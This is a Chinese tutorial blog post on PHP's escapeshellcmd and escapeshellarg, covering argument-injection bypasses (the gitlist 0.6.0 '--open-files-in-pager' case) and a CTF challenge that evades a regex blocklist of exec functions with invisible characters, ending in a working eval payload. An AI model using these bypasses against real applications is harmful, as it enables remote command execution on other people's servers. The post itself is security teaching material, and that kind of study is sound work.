escapeshellarg参数绕过和注入的问题

escapeshellcmd

escapeshellcmd(string $command): string

command--要转义的命令。

escapeshellcmd() 对字符串中可能会欺骗 shell 命令执行任意命令的字符进行转义。 此函数保证用户输入的数据在传送到 exec() 或 system() 函数,或者 执行操作符 之前进行转义。

反斜线(\)会在以下字符之前插入:&#;`|*?~<>^()[]{}$\\x0A\xFF'" 仅在不配对儿的时候被转义。在 Windows 平台上,所有这些字符以及 %! 字符前面都有一个插入符号(^)。

escapeshellarg

escapeshellarg(string $arg): string

arg--需要被转义的参数

escapeshellarg() 把字符串转义为可以在 shell 命令里使用的参数

escapeshellarg() 将给字符串增加一个单引号并且能引用或者转义任何已经存在的单引号,这样以确保能够直接将一个字符串传入 shell 函数,并且还是确保安全的。对于用户输入的部分参数就应该使用这个函数。shell 函数包含exec()、system() 和执行运算符 。

在 Windows 上,escapeshellarg() 用空格替换了百分号、感叹号(延迟变量替换)和双引号,并在字符串两边加上双引号。此外,每条连续的反斜线(\)都会被一个额外的反斜线所转义。

shell函数

 shell 函数包含exec()、system() 和执行运算符

system()

在windows系统中,system函数直接在控制台调用一个command命令。

执行运算符:

PHP 支持一个执行运算符:反引号(` `)

PHP 将尝试将反引号中的内容作为 shell 命令来执行,并将其输出信息返回。使用反引号运算符“`”的效果与函数 shell_exec() 相同

exec():

exec() 执行 command 参数所指定的命令。

exec(string $command, array &$output = null, int &$result_code = null): string|false

 command

要执行的命令。

 output

如果提供了 output 参数, 那么会用命令执行的输出填充此数组

 result_code

如果同时提供 outputresult_code 参数,命令执行后的返回状态会被写入到此变量

参数注入

  基本用法:
<?phpecho escapeshellarg('Hello');
// 输出值为:'Hello'echo escapeshellarg('Hello\'');
// 输出值为:'Hello'\'''(在命令行使用 echo 'Hello'\''',只会输出 Hello')
关键的话

引用自谈escapeshellarg绕过与参数注入漏洞 | 离别歌

  • 这个字符串应该出现在“参数值”的位置,而不是出现在参数选项(option)中。
  • 单引号并不是区分一个字符串是“参数值”或“选项”的标准

 接下来我们好好理解一下这句话

参数和参数选项的区别
参数:参数值是在命令行或函数调用中,用来传递具体数据或信息给程序或函数的部分。它是某个参数的实际取值
参数选项:参数选项是用来配置程序或函数行为的标志或开关。它不包含具体的数值,而是用于启用或禁用某些功能
实例:

Linux 中通常使用 - 或者 -- 来作为选项(Option)的标识符

而如果没有name,cat就变成了参数

也可以取消这种差异,我们在中间加--即可

总结

在了解“参数”和“选项”后,我们可知在命令后使用 escapeshellarg 并不能阻止命令执行(参数和选项并不依靠单引号)

gitlist 0.6.0远程命令执行漏洞,下面是该项目在执行过程中生成的命令:

git grep -i --line-number -e '--open-files-in-pager=id;' master
# 其中 --open-files-in-pager 的参数会被执行。

escapeshellarg 可以逃逸并达到执行命令的关键:

  • 函数参数可控
  • 执行的命令中有执行命令的选项(类似 “–open-files-in-pager=id;” 的等号形式)

逃逸字符

不可见字符

Windows-1252字符集中的编码,更多见:HTML URL 编码参考手册

例题:

<?php$payload = '';
$code = urldecode($payload);function filter($str)
{if (preg_match("/system|exec|passthru|shell_exec|pcntl_exec|bin2hex|popen|scandir|hex2bin|[~$.^_`]|\'[a-z]|\"[a-z0-9]/i", $str)) {return false;} else {return true;}
}if (filter($code) == 1) {eval($code . ";");
} else {die("18cm30p !! :< ");
}

在题目中过滤了很多命令执行的函数。还有两段比较关键的正则\'[a-z]和\"[a-z0-9],也就是字母无法和引号接触。

通常这种正则的绕过,都是采用编码转义的方式来绕过的。

    1.不可见字符又可以让 preg _match 函数中的正则检测失效
    2.escapeshellcmd又可以将不可见字符消除
    3.最终 eval 能执行正常的字符串。
 

例如:

<?php

echo escapeshellcmd(urldecode('%aasy%aastem%aa'));
// 输出:system

?>

最后得到 Payload 为:

eval(sprintf('%s%s%s%s%s', escapeshellcmd(urldecode('%aasys%aatem%aa')), '(\'',escapeshellcmd(urldecode('%aatac')), ' *' ,'\');'))
// tac *
// 注意:* 等特殊字符不能放在 escapeshellcmd 中。

文章内容参考见:

谈escapeshellarg绕过与参数注入漏洞 | 离别歌

浅谈CTF中escapeshellarg的利用_escapeshellarg 绕过-CSDN博客

PHP: escapeshellarg - Manual

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/224177.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

pytest + yaml 框架 -60.git+jenkins+allure+钉钉通知反馈

前言 当我们自动化用例写完后&#xff0c;接下来就是如何运行用例&#xff0c;生成报告以及反馈通知了。 如果你们公司已经有jenkins了&#xff0c;那么直接集成到jenkins上构建你的自动化任务是非常方便的。 用例上传git仓库 第一步&#xff0c;将写好的自动化用例&#xf…

保障线程安全性:构建可靠的多线程应用

目录 引言 为什么线程安全性如此重要&#xff1f; 1. 竞态条件&#xff08;Race Conditions&#xff09; 2. 死锁&#xff08;Deadlocks&#xff09; 3. 数据竞争&#xff08;Data Races&#xff09; 4. 内存可见性&#xff08;Memory Visibility&#xff09; 面临的挑战…

一张图系列 - “leetcode快速复习“

什么是leetcode&#xff1f; LeetCode是一个在线评测平台&#xff0c;提供大量算法题目&#xff0c;可帮助程序员提高编程和算法能力。它主要提供算法和数据结构相关的练习题&#xff0c;包括各种难度级别的编程题&#xff0c;从简单的算法题到复杂的系统设计问题都有。用户可…

【玩转TableAgent数据智能分析】TableAgent全功能详解及多领域数据分析实践(中)不同领域数据分析实践

3 电影点评数据分析实践 利用本身自带的电影点评数据&#xff0c;来具体看一下TableAgent的分析能力&#xff0c;选择电影点评数据&#xff0c;智能体会自动导入该数据DMSC20000.csv&#xff0c;大小为3.3 MB。在数据信息展示区&#xff0c;就会显示出该数据&#xff0c;并提供…

知识付费平台选择指南:如何找到最适合你的学习平台?

在当今的知识付费市场中&#xff0c;用户面临的选择越来越多&#xff0c;如何从众多知识付费平台中正确选择属于自己的平台呢&#xff1f;下面&#xff0c;我们将为您介绍我有才知识付费平台相比同行的优势&#xff0c;帮助您做出明智的选择。 一、创新的技术架构&#xff0c;…

Java研学-MyBatis框架

一 MyBatis框架 1 框架介绍 框架&#xff1a;对基础代码进行封装并提供相应的API&#xff0c;调用API可省去一些代码的编写&#xff0c;从而提高效率。一个好的框架一定是经过测试&#xff0c;自身的功能已经实现&#xff0c;可以完成特定的功能。 2 MyBatis 框架 MyBatis 框…

基于物理的AlGaN/GaN HEMT器件2DEG电荷密度分析模型(文献阅读)

标题&#xff1a;A Physics-Based Analytical Model for 2DEG Charge Density in AlGaN/GaN HEMT Devices (IEEE TRANSACTIONS ON ELECTRON DEVICES) 重要公式 2DEG电荷密度建模的困难源于量子阱中Ef随ns的复杂变化。此关系由给出 n s D V t h [ l n ( l e E f − E 0 V t …

文献速递:PET-影像组学专题--PET衍生的影像组学和人工智能在乳腺癌中的应用:一篇系统综述

文献速递&#xff1a;PET-影像组学专题–PET衍生的影像组学和人工智能在乳腺癌中的应用&#xff1a;一篇系统综述 01 文献速递介绍 乳腺癌&#xff08;BC&#xff09;是目前流行度最高的恶性肿瘤&#xff0c;也是全球女性癌症相关死亡的第二大原因&#xff0c;过去十年间发病…

开个酸奶店需要投资多少钱,创业优势在哪里

作为酸奶店创业5年的创业者&#xff0c;我给大家做个详细全面的分析。让你花最少的钱开一家属于你的酸奶店&#xff01; 这几年&#xff0c;随着奶茶店的烂大街&#xff0c;酸奶产品开始展露头脚&#xff0c;受到了无数消费者的追捧。从而很多创业者也瞄准了这个市场&#xff…

产品经理之Axure的元件库使用详细案例

⭐⭐ 产品经理专栏&#xff1a;产品专栏 ⭐⭐ 个人主页&#xff1a;个人主页 ​ 目录 前言 一.Axure的元件库的使用 1.1 元件介绍 1.2 基本元件的使用 1.2.1 矩形、按钮、标题的使用 1.2.2 图片及热区的使用 1.3 表单元件及表格元件的使用 1.3.1表单元件的使用 1.3.…

【Linux】进程周边004之进程的调度与切换(领略Linux系统进程调度算法的神奇)

&#x1f440;樊梓慕&#xff1a;个人主页 &#x1f3a5;个人专栏&#xff1a;《C语言》《数据结构》《蓝桥杯试题》《LeetCode刷题笔记》《实训项目》《C》《Linux》 &#x1f31d;每一个不曾起舞的日子&#xff0c;都是对生命的辜负 目录 前言 1.进程切换 2.进程调度 2.…

Infobright列存数据库原理介绍

简介 Infobright 是一个面向 OLAP 场景的开源列存数据库。比较容易找到代码的版本是 Infobright Community Edition 4.0.7&#xff0c;大概是 2006 年前后的代码。2016 年6 月&#xff0c;Infobright 决定停止开源1。由于它同时提供企业版和社区版&#xff0c;开源版本的功能相…

基于ssm大学学术交流论坛论文

摘 要 随着科学技术的飞速发展&#xff0c;各行各业都在努力与现代先进技术接轨&#xff0c;通过科技手段提高自身的优势&#xff1b;对于大学学术交流论坛当然也不能排除在外&#xff0c;随着网络技术的不断成熟&#xff0c;带动了大学学术交流论坛的发展&#xff0c;它彻底改…

C# 图解教程 第5版 —— 第18章 泛型

文章目录 18.1 什么是泛型18.2 C# 中的泛型18.3 泛型类18.3.1 声明泛型类18.3.2 创建构造类型18.3.3 创建变量和实例18.3.4 使用泛型的示例18.3.5 比较泛型和非泛型栈 18.4 类型参数的约束18.4.1 Where 子句18.4.2 约束类型和次序 18.5 泛型方法18.5.1 声明泛型方法18.5.2 调用…

Linux系统中如何开启和配置OpenGauss数据库的远程连接

文章目录 前言1. Linux 安装 openGauss2. Linux 安装cpolar3. 创建openGauss主节点端口号公网地址4. 远程连接openGauss5. 固定连接TCP公网地址6. 固定地址连接测试7. 结语 前言 前些天发现了一个巨牛的人工智能学习网站&#xff0c;通俗易懂&#xff0c;风趣幽默&#xff0c;忍…

基于Maven构建OSGI应用(Maven和OSGI结合)

基于Maven构建OSGI应用。 使用Maven来构建项目&#xff0c;包括项目的创建、子模块buldle的创建等。使用OSGI来实现动态模块化管理&#xff0c;实现模块的热插拔效果&#xff08;即插即用&#xff09;。 创建一个Maven项目&#xff1a;helloworld&#xff0c;并在该项目下创建…

selenium/webdriver运行原理与机制

最近在看一些底层的东西。driver翻译过来是驱动&#xff0c;司机的意思。如果将webdriver比做成司机&#xff0c;竟然非常恰当。 我们可以把WebDriver驱动浏览器类比成出租车司机开出租车。在开出租车时有三个角色&#xff1a; 乘客&#xff1a;他/她告诉出租车司机去哪里&…

解决因找不到qt5core.dll文件而导致无法执行代码问题

Qt5core.dll是Qt5框架的核心模块&#xff0c;用于提供基本的Qt功能。如果在代码执行过程中找不到qt5core.dll&#xff0c;可能导致相关功能无法正常使用。以下是五种详细解决方法、qt5core.dll文件详细介绍以及丢失原因。 一、qt5core.dll文件详细介绍 文件名称&#xff1a;q…

vue文件下载请求blob文件流token失效的问题

页面停留很久token失效没有刷新页面&#xff0c;这时候点击下载依然可以导出文件&#xff0c;但是文件打不开且接口实际上返回的是401&#xff0c;这是因为文件下载的方式通过window创建a标签的形式打开的&#xff0c;并没有判断token失效问题 const res await this.$axios.…

10:00面试,10:08就出来了,问的问题超出我认知

本来在上家公司上班&#xff0c;加班是每天必不可少的&#xff0c;但是看在加班费给的比较多的份上&#xff0c;就没有太计较了。没想到9月份下一份通知&#xff0c;所有人不准加班&#xff0c;加班费不仅没有了&#xff0c;薪资还要降30%,这下搞的生活都生活不下去了。 还好有…